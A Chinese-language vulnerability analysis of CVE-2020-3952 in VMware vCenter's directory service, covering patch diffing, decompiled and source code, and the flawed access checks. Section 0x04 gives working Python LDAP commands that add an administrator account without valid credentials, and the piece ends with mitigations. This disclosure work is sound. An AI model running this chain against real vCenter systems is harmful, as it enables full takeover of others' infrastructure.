0x00 前言
VMware上周四发布了针对CVE-2020-3952的安全公告,据官方描述,这是“VMware目录服务(vmdir
)中的敏感信息披露漏洞”。这个安全公告内容非常简洁,提到从旧版升级的vCenter Server v6.7会受该漏洞影响,此外没有给出更多信息。
这个公告值得注意的一点是,该漏洞的CVSS评分为10.0,这也是CVSS的最高分。尽管如此,我们还是没有找到关于该漏洞的任何技术细节。我们需要更进一步理解该漏洞的风险,了解攻击者利用该漏洞的方式,因此我们开始研究VMware补丁(vCenter Appliance 6.7 Update 3f)中引入的改动。
除了梳理官方对vCenter Directory Service的改动外,我们还分析了导致该漏洞的代码流。我们的分析表明,只要攻击者能通过网络访问vCenter Directory Service,那么只需要使用3个简单的未授权LDAP命令就能在vCenter Directory中添加管理员账户。我们实现了针对该漏洞的简单PoC,可以远程控制整个vSphere部署环境。
这里先总结一下要点:
该漏洞由旧版vmdir
LDAP处理代码中的2个关键问题所导致:
1、函数VmDirLegacyAccessCheck
中存在bug,当权限检查失败时依然会授予访问权限。
2、安全设计流上存在缺陷,认为不带有令牌的LDAP会话是内部操作,从而将root权限赋予该会话。
0x01 补丁分析
由于VMware将新版本以完整磁盘镜像方式提供,没有采用增补包形式,因此我们需要diff对比上一个版本(Update 3e)以及最新版本。挂载磁盘镜像后,我们发现这些发行版大部分由一长串的RPM所组成。当我们提取完所有包的内容后,可以逐一比对哈希,检测哪些文件被修改过。
不幸的是,更新完后我们发现有将近1500个文件被修改过,这个数量远远大于我们能手动检测的量。我们猜测漏洞可能与名字中带有vmdir
关键字的组件有关,这样就能大大缩减所得结果,列表如下:
usr/lib/vmware-vmdir/lib64/libcsrp.a
usr/lib/vmware-vmdir/lib64/libcsrp.la
usr/lib/vmware-vmdir/lib64/libgssapi_ntlm.a
usr/lib/vmware-vmdir/lib64/libgssapi_ntlm.la
usr/lib/vmware-vmdir/lib64/libgssapi_srp.a
usr/lib/vmware-vmdir/lib64/libgssapi_srp.la
usr/lib/vmware-vmdir/lib64/libgssapi_unix.a
usr/lib/vmware-vmdir/lib64/libgssapi_unix.la
usr/lib/vmware-vmdir/lib64/libkrb5crypto.a
usr/lib/vmware-vmdir/lib64/libkrb5crypto.la
usr/lib/vmware-vmdir/lib64/libsaslvmdirdb.a
usr/lib/vmware-vmdir/lib64/libsaslvmdirdb.la
usr/lib/vmware-vmdir/lib64/libvmdirauth.a
usr/lib/vmware-vmdir/lib64/libvmdirauth.la
usr/lib/vmware-vmdir/lib64/libvmdirclient.a
usr/lib/vmware-vmdir/lib64/libvmdirclient.la
usr/lib/vmware-vmdir/lib64/libvmkdcserv.a
usr/lib/vmware-vmdir/lib64/libvmkdcserv.la
usr/lib/vmware-vmdir/sbin/vmdird
因此我们似乎得到了包含在单个已编译二进制文件(vmdird
)中的一堆静态链接库。换而言之,从Update 3e开始vmdir
服务器有了不少改动,看起来这个分析任务很有希望能完成。
在执行diff操作前,我们需要了解vmdird
导出符号中是否存在明显的变化。对比结果如下:
jj@ubuntu:~/misc/vms$ diff <(objdump -T patched_extracted/usr/lib/vmware-vmdir/sbin/vmdird |
cut -f 2- -d " " | sort | uniq) <(objdump -T unpatched_extracted/usr/lib/vmware-vmdir/sbin/vmdird | cut -f 2- -d " " | sort | uniq) 1370a1371 > g DF .text 00000000000000ce Base VmDirLegacyAccessCheck
1440d1440
< g DF .text 00000000000000ef Base VmDirLegacyAccessCheck 2194a2195 > g DF .text 000000000000038d Base VmDirSrvAccessCheck
2199d2199
< g DF .text 0000000000000393 Base VmDirSrvAccessCheck
这里有个名为VmDirLegacyAccessCheck
的函数,看上去应该是一个不错的切入点,因为VMware提到过:“当vmdir
服务开始启用旧版ACL模式时,受影响的环境会创建一个log条目”。
我们在IDA中分析这些函数的反汇编代码,未打补丁的代码如下,其中我们标出了可以修改函数返回值的语句。
__int64 __fastcall VmDirLegacyAccessCheck(__int64 a1, __int64 a2, __int64 a3,
unsigned int a4)
{
unsigned int v5; // [rsp+14h] [rbp-2Ch]@1
__int64 v6; // [rsp+18h] [rbp-28h]@1
unsigned int v7; // [rsp+3Ch] [rbp-4h]@1, highlighted
v6 = a3;
v5 = a4;
v7 = 0; // VMDIR_SUCCESS, highlighted
if ( !(unsigned __int8)sub_4EF7B1(a1, a2, a4)
&& v5 == 2
&& ((unsigned __int8)sub_4EF510(v6) || (unsigned __int8)sub_4EF218(v6) || (unsigned __int8)VmDirIsSchemaEntry(v6)) )
{
v7 = 9114; // VMDIR_ERROR_UNWILLING_TO_PERFORM, highlighted
VmDirLog1(4);
}
return v7;
}
漏洞修复后的代码如下:
__int64 __fastcall VmDirLegacyAccessCheck(__int64 a1, __int64 a2, __int64 a3, unsigned int a4)
{
unsigned int v5; // [rsp+14h] [rbp-2Ch]@1
__int64 v6; // [rsp+18h] [rbp-28h]@1
unsigned int v7; // [rsp+3Ch] [rbp-4h]@1, highlighted
v6 = a3;
v5 = a4;
v7 = 9207; // VMDIR_ERROR_INSUFFICIENT_ACCESS, highlighted
if ( a4 == 2
&& ((unsigned __int8)sub_4EF5B1(a3) || (unsigned __int8)sub_4EF2B9(v6) || (unsigned __int8)VmDirIsSchemaEntry(v6)) )
{
v7 = 9114; // VMDIR_ERROR_UNWILLING_TO_PERFORM, highlighted
VmDirLog1(4);
}
else if ( (unsigned __int8)sub_4EF852(a1, a2, v5) )
{
v7 = 0; // VMDIR_SUCCESS, highlighted
}
else if ( v5 == 16 && (unsigned __int8)sub_4EF220(v6) )
{
v7 = 0; // VMDIR_SUCCESS, highlighted
}c
return v7;
}
打上补丁后,如果这些条件均不满足,那么VmDirLegacyAccessCheck
会返回9207
(VMDIR_ERROR_INSUFFICIENT_ACCESS
)。这个返回值在之前的版本中并不存在,根据这个返回值,我们找到了Github上的一个项目:Lightwave。VMware在Github上已经公开了vmdir
的代码。
0x02 分析源码
我们不仅在VMWare官方仓库中找到了VmDirLegacyAccessCheck
的源码,而且该代码也适用于打上补丁的最新版函数。观察引入补丁的时间,我们发现2017年8月份有一次commit,信息如下:
本次改动解决了旧版方案中存在一个bug,可执行如下测试:
1、在老版DB + LW 1.2中创建一个普通用户,比如
testuser1
;2、打补丁之前,
testuser1
将获得更多的权限;3、打补丁之后,
testuser1
只能读/写自己相关的条目,不能读写其他条目。
因此至少有一个VMware开发者(在补丁推出前)意识到了这个问题:旧版本访问模式“比预期具备更多的权限”。
在打补丁之前,VmDirLegacyAccessCheck
的返回值默认为成功返回值。如果未能通过_VmDirAllowOperationBasedOnGroupMembership
的权限检查,返回值将保持为0
(即VMDIR_SUCCESS
),最终授予该操作访问权限。
现在我们找到了似乎存在漏洞的一个函数,来看一下函数的调用时机,以及如何利用该函数。
0x03 存在漏洞的vCenter
目前我们手头上只有全新安装的vCenter Server 6.7,并不是直接更新自老版本(6.5或6.0)。根据VMware的描述,在存在漏洞的系统上,我们可以在/var/log/vmware/vmdird/vmdird-syslog.log
(或者%ALLUSERSPROFILE%\VMWare\vCenterServer\logs\vmdird\vmdir.log
)中找到特定日志:
2020-04-06T17:50:41.860526+00:00 info vmdird t@139910871058176: ACL MODE: Legacy
由于我们的vCenter Server不存在漏洞,因此日志文件中不包含这个特征。检查打印这行日志的代码,我们找到了一个函数:VmDirIsLegacyACLMode。
static
BOOLEAN
_VmDirIsLegacyACLMode(
VOID
)
{
...
dwError = VmDirBackendUniqKeyGetValue(
VMDIR_KEY_BE_GENERIC_ACL_MODE, // "acl-mode"
&pValue);
...
// We should have value "enabled" found for ACL enabled case.
bIsLegacy = VmDirStringCompareA(pValue, VMDIR_ACL_MODE_ENABLED, FALSE) != 0;
…
if (bIsLegacy)
{
VMDIR_LOG_INFO(VMDIR_LOG_MASK_ALL, "ACL MODE: Legacy");
}
...
}
根据代码,某个地方应有一对键值,包含acl-mode
及enabled
(非传统模式)或者disabled
(传统模式)字符串。可以肯定的是,(打补丁后的)vmdir
数据库文件(/storage/db/vmware-vmdir/data.mdb
)中多次出现acl-modeenabled
字符串。将该字符串中的enabled
修改为其他内容(由于disabled
会修改字符串的大小,因此我们不要修改成disabled
),重启vmdir
后,我们就可以在vmdird-syslog.log
中看到这个特征日志。
这也解释了为什么只有升级过的vCenter Server 6.7主机存在该漏洞,而全新安装的版本不受该漏洞影响。在升级后的6.7主机上,vmdird
程序仍然存在漏洞。是否存在漏洞与ACL模式配置信息中的改动有关,全新安装的版本默认情况下采用非传统模式(启用了acl-mode
),但升级版保留了之前的配置,默认启用的是传统模式。
0x04 漏洞利用
此时,我们需要澄清如何触发代码流,访问到存在漏洞的VmDirLegacyAccessCheck
函数。
从调用关系图中,我们可知添加、修改以及搜索请求都会经过VmDirLegacyAccessCheck
处理。
第1次尝试
我们首先安装ldap-utils
,尝试使用错误的凭据在vCenter主机中添加一个用户:
root@computer:~# ldapadd -x -w 1234 -f hacker.ldif -h 192.168.1.130
-D"cn=Administrator,cn=Users,dc=vsphere,dc=local"
ldap_bind: Invalid credentials (49)
并没有完成任务,来看一下vmdird
的日志内容:
2020-04-15T14:20:56.079504+00:00 info vmdird t@140564750137088: Bind failed ()
(9234)
2020-04-15T14:20:56.080409+00:00 err vmdird t@140564750137088:
VmDirSendLdapResult: Request (Bind), Error (49), Message (), (0) socket
(192.168.0.254)
2020-04-15T14:20:56.080832+00:00 err vmdird t@140564750137088: Bind Request
Failed (192.168.0.254) error 49: Protocol version: 3, Bind DN:
"cn=Administrator,cn=Users,dc=vsphere,dc=local", Method: Simple
看上去我们似乎并没有触及到该请求的add
部分。ldapadd
在对服务端执行任何命令之前,首先需要执行bind
操作,但bind
操作将返回9234
错误(VMDIR_ERROR_USER_INVALID_CREDENTIAL
)。那么是否有办法能绕过bind
阶段呢?
我们安装了python-ldap
,尝试自己执行该操作。
dn = 'cn=Hacker,cn=Users,dc=vsphere,dc=local'
modlist = {
'userPrincipalName': ['hacker@VSPHERE.LOCAL'],
'sAMAccountName': ['hacker'],
'givenName': ['hacker'],
'sn': ['vsphere.local'],
'cn': ['Hacker'],
'uid': ['hacker'],
'objectClass': ['top', 'person', 'organizationalPerson', 'user'],
'userPassword': 'TheHacker1!'
}
c = ldap.initialize('ldap://192.168.1.130')
c.add_s(dn, ldap.modlist.addModlist(modlist))
Traceback (most recent call last):
File "do_ldap.py", line 27, in
print c.add_s(dn, ldap.modlist.addModlist(modlist))
...
ldap.INSUFFICIENT_ACCESS: {'info': u'Not bind/authenticate yet', 'desc': u'Insufficient access'}
依然没完成任务,vCenter服务器中的日志如下:
2020-04-15T14:32:21.526506+00:00 err vmdird t@140565521872640:
VmDirSendLdapResult: Request (Add), Error (50), Message (Not bind/authenticate yet), (0) socket (192.168.0.254)
bind/authenticate
观察代码中的错误信息“Not bind/authenticate yet”,我们找到了另一个函数:VmDirMLAdd:
int
VmDirMLAdd(
PVDIR_OPERATION pOperation
)
{
...
// AnonymousBind Or in case of a failed bind, do not grant add access
if (pOperation->conn->bIsAnonymousBind || VmDirIsFailedAccessInfo(&pOperation->conn->AccessInfo))
{
dwError = LDAP_INSUFFICIENT_ACCESS;
BAIL_ON_VMDIR_ERROR_WITH_MSG(
dwError, pszLocalErrMsg,
"Not bind/authenticate yet");
}
...
dwError = VmDirInternalAddEntry(pOperation);
BAIL_ON_VMDIR_ERROR(dwError);
...
}
如代码所示,如果客户端想添加条目,必须满足2个条件:
1、LDAP会话不能为匿名会话,也就是必须指定一个域;
2、会话不应当包含“失败的访问信息”。
首先我们来绕过第一个条件。为了完成该任务,我们需要bIsAnonymousBind
设置为FALSE
。设置该变量的唯一代码位于VmDirMLBind
中:
int
VmDirMLBind(
PVDIR_OPERATION pOperation
)
{
...
pOperation->conn->bIsAnonymousBind = TRUE; // default to anonymous bind
switch (pOperation->request.bindReq.method)
{
case LDAP_AUTH_SIMPLE:
...
pOperation->conn->bIsAnonymousBind = FALSE;
dwError = VmDirInternalBindEntry(pOperation);
BAIL_ON_VMDIR_ERROR(dwError);
...
break;
case LDAP_AUTH_SASL:
pOperation->conn->bIsAnonymousBind = FALSE;
dwError = _VmDirSASLBind(pOperation);
BAIL_ON_VMDIR_ERROR(dwError);
...
break;
...
}
...
}
需要注意的是,无论VmDirInternalBindEntry
是否成功,bIsAnonymousBind
都会被赋值为FALSE
。即使bind
时没有通过身份认证,我们也能通过第一个条件。
对于第2个条件,VmDirIsFailedAccessInfo
做了哪些操作?令人惊讶的是,这个函数的逻辑比较简单:
/* Check whether it is a valid accessInfo
* (i.e.: resulted by doing a successful bind in an operation) */
BOOLEAN
VmDirIsFailedAccessInfo(
PVDIR_ACCESS_INFO pAccessInfo
)
{
BOOLEAN bIsFaliedAccessPermission = TRUE;
if ( ! pAccessInfo->pAccessToken )
{ // internal operation has NULL pAccessToken, yet we granted root privilege
bIsFaliedAccessPermission = FALSE;
}
else
{ // coming from LDAP protocol, we should have BIND information
if ( ! IsNullOrEmptyString(pAccessInfo->pszBindedObjectSid)
&&
! IsNullOrEmptyString(pAccessInfo->pszNormBindedDn)
&&
! IsNullOrEmptyString(pAccessInfo->pszBindedDn)
)
{
bIsFaliedAccessPermission = FALSE;
}
}
return bIsFaliedAccessPermission;
}
为了到达添加用户的代码执行流,我们需要让该函数返回FALSE
。我们先来看第一种方法:检查NULL
访问令牌。
比较奇怪的是,在是否授予访问权限时,该函数会允许不带有访问令牌的用户。根据检查条件下的注释,我们可知该条件针对的是“内部操作”。可能是因为vmdird
内部发起的LDAP请求中pAccessToken
字段值将为空,以表示该请求应当被允许通过,并且其他任何访问在更早的bind
阶段就已经失败。这是比较奇怪的一种处理方式,针对这种场景,开发者应当专门设计一个pAccessInfo->bIsInternalOperation
字段。
当bind
失败时,pAccessInfo->pAccessToken
将保留空值。VmDirInternalBindEntry
的代码如下所示,vmdird
消息循环中的VmDirMLBind
会调用这个函数。
* Return: VmDir level error code. Also, pOperation->ldapResult content is set.
*/
int
VmDirInternalBindEntry(
PVDIR_OPERATION pOperation
)
{
DWORD retVal = LDAP_SUCCESS;
...
// Normalize DN
retVal = VmDirNormalizeDN( &(pOperation->reqDn), pOperation->pSchemaCtx );
BAIL_ON_VMDIR_ERROR_WITH_MSG( retVal, pszLocalErrMsg, "DN normalization failed - (%u)(%s)", retVal, VDIR_SAFE_STRING(VmDirSchemaCtxGetErrorMsg(pOperation->pSchemaCtx)) );
...
cleanup:
VMDIR_SAFE_FREE_MEMORY( pszLocalErrMsg );
VmDirFreeEntryContent ( &entry );
return retVal;
error:
...
if (retVal)
{
VmDirFreeAccessInfo(&pOperation->conn->AccessInfo);
VMDIR_LOG_INFO(VMDIR_LOG_MASK_ALL,
"Bind failed (%s) (%u)",
VDIR_SAFE_STRING(pszLocalErrMsg), retVal);
retVal = LDAP_INVALID_CREDENTIALS;
...
}
VMDIR_SET_LDAP_RESULT_ERROR(&(pOperation->ldapResult), retVal, pszLocalErrMsg);
goto cleanup;
}
我们提供的不正确凭证会执行到VmDirNormalizeDN
处,最终将我们转到错误执行流,清除掉pOperation->conn->AccessInfo->pAccessToken
。
让我们回到前面的2个条件:
if (pOperation->conn->bIsAnonymousBind ||
VmDirIsFailedAccessInfo(&pOperation->conn->AccessInfo))
现在这2个条件均已满足。
因此,虽然我们无法跳过bind
操作,直接执行其他命令,但即使在bind
尝试失败后,我们似乎也能通过这个检查条件。
利用现有条件
现在我们掌握了哪些条件呢?我们最终访问到了存在问题的VmDirLegacyAccessCheck
,在执行添加操作前,VmDirInternalAddEntry
会调用VmDirSrvAccessCheck
,后者会调用VmDirSrvAccessCheck。
从理论上讲,在整个程序流中,我们应该在很早的某个环节中就无法走到当前分支。VmDirLegacyAccessCheck
是最后一道安全防线,其任务是检查特定用户是否可以执行这种特定的访问操作(添加或修改LDAP条目)。正确的身份校验首先就不应当允许我们到达目前的位置,身份校验本来应当阻止我们继续前进的。
但前面我们提到过:
该漏洞由旧版
vmdir
LDAP处理代码中的2个关键问题所导致:1、函数
VmDirLegacyAccessCheck
中存在bug,当权限检查失败时依然会授予访问权限。2、安全设计流上存在缺陷,认为不带有令牌的LDAP会话是内部操作,从而将root权限赋予该会话。
这似乎就是我们利用链中所需的最后一环。如果VmDirLegacyAccessCheck
始终放行,那么我们应该能成功通过访问权限检查,最终添加我们的用户。
那么如果我们忽略bind
返回的结果,会出现什么情况?
c = ldap.initialize('ldap://192.168.1.130')
try:
c.simple_bind_s(dn, 'fakepassword')
except:
pass
c.add_s(dn, ldap.modlist.addModlist(modlist))
此时/var/log/vmware/vmdird/vmdird-syslog.log
中并没有任何输出日志,我们能否通过搜索请求看到这个用户呢?
root@computer:~# ldapsearch -b "cn=Hacker,cn=Users,dc=vsphere,dc=local" -s sub -D "cn=Administrator,cn=Users,dc=vsphere,dc=local" -h 192.168.1.130 -x -w
# extended LDIF
#
# LDAPv3
# base <cn=Hacker,cn=Users,dc=vsphere,dc=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# Hacker, Users, vsphere.local
dn: cn=Hacker,cn=Users,dc=vsphere,dc=local
nTSecurityDescriptor:: ...
krbPrincipalKey:: ...
sn: vsphere.local
userPrincipalName: hacker@VSPHERE.LOCAL
cn: Hacker
givenName: hacker
uid: hacker
sAMAccountName: hacker
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
难以置信。如果我们尝试使用这个新用户连接vSphere呢?
那么从哪里能获得“连接到该客户端的vCenter Server系统的权限”呢?我们可以使用同样未经身份认证的连接,将Hacker
用户加入Administrator
组中:
groupModList = [(ldap.MOD_ADD, 'member', [dn])]
c.modify_s('cn=Administrators,cn=Builtin,dc=vsphere,dc=local', groupModList)
再次尝试:
成功黑入目标系统。
PoC
我们提供了一个利用脚本,将这些利用环节串在一起,大家可以访问我们的Github仓库自己尝试一下。
0x05 缓解措施
缓解以上风险最有效的方法就是为存在漏洞的vCenter Server打上补丁,此外我们也可以安装最新版(7.0),确保vSphere环境安全。
我们强烈建议管理员限制用户对vCenter LDAP接口的访问权限,也就是说,除了管理场景之外,应当禁止使用LDAP端口(389)。
此外我还想再提几句。尽管VMware的代码比较清晰,但还是存在很多失误才会导致该漏洞。至少开发者应该也注意到了这些点,比如我们前面在代码注释以及commit消息中也看到过一些蛛丝马迹。官方对VmDirLegacyAccessCheck
的修复看上去只是小打小闹,如果VMware更深入研究,将发现一系列需要解决的问题:bIsAnonymousBind
存在的奇怪逻辑、pAccessToken
的灾难性处理以及VmDirLegacyAccessCheck
(这也是我们漏洞研究的源头)。
不过,有一点可能最令人困扰:对VmDirLegacyAccessCheck
的错误修正代码大概在3年前就已经编写,但直到现在才发布。对于像LDAP权限提升之类的敏感漏洞,这个时间有点过长了,更何况这个问题导致的不单单是权限提升。